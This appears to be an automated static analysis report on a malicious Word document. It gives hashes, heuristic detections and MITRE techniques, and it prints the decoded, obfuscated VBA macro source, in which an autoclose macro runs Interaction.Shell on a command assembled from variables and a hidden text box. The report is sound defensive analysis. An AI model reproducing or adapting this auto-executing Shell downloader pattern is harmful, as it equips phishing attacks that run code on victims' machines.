Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 248ca0fedf868de5…

MALICIOUS

Office (OLE)

143.0 KB Created: 2018-12-19 20:01:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: a41a1658dd3180dc790b767190ca14d6 SHA-1: 90bd035fabc306b59a375f29be87ed272db70cdc SHA-256: 248ca0fedf868de5e654e46ac320c53d4e1a993cf5eee9555487f9b090826eb5
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoclose' macro triggers a Shell() call, which is highly suspicious and indicative of malware execution. This macro is likely used to download and execute a second-stage payload, aligning with the behavior of a downloader trojan.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6789510-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6789510-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
    V23846606 = Array(M0549936, I13579178, T19420462, Interaction.Shell(CVar("" + Q08324564 + Z2590738 + h379419 + N1946966 + I24783158650.TextBox1) + c613165 + H83337045 + B4450055 + j33123610, 12 - 12), Z39793860)
       Select Case K1640
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoclose()
    a702366
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3169 bytes
SHA-256: f69e6b227a33220cea728f307d1f770003147d368d19c55c5c312afb3f133900
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I24783158650"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
a702366
End Sub

Attribute VB_Name = "k6821000021950"
Function a702366()
On Error Resume Next
   Select Case G292
         Case 127080520
 t0243 = m602
j348 = Rnd(t955 - Round(W199) / 168439397 - Round(m7803))
i458 = i268
O473 = Rnd(U1318 * Tan(321514126))
         Case 143470137
w468 = z0222
f044 = P407
      End Select
V23846606 = Array(M0549936, I13579178, T19420462, Interaction.Shell(CVar("" + Q08324564 + Z2590738 + h379419 + N1946966 + I24783158650.TextBox1) + c613165 + H83337045 + B4450055 + j33123610, 12 - 12), Z39793860)
   Select Case K1640
         Case 69809861
 S0092 = E8730
i3199 = Rnd(U043 - Round(d1797) / 305127271 - Round(p9477))
F062 = d025
p5228 = Rnd(d362 * Tan(62965764))
         Case 135220726
Z1597 = G406
k9538 = N7249
      End Select
   Select Case V7758
         Case 149856103
 p786 = A1015
j377 = Rnd(i5483 - Round(w4698) / 132703207 - Round(o619))
H5343 = u508
t899 = Rnd(D0483 * Tan(290133656))
         Case 233094631
B737 = P0186
G732 = p813
      End Select
End Function


Attribute VB_Name = "s6686724"

Attribute VB_Name = "u4793978023472"

Attribute VB_Name = "I0695246511645"

Attribute VB_Name = "K48965694"

Attribute VB_Name = "c959598639"

Attribute VB_Name = "o115291466"

Attribute VB_Name = "S1484850997"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i87944800"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "z5042719451"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "o9114035503"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "k275542980819"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False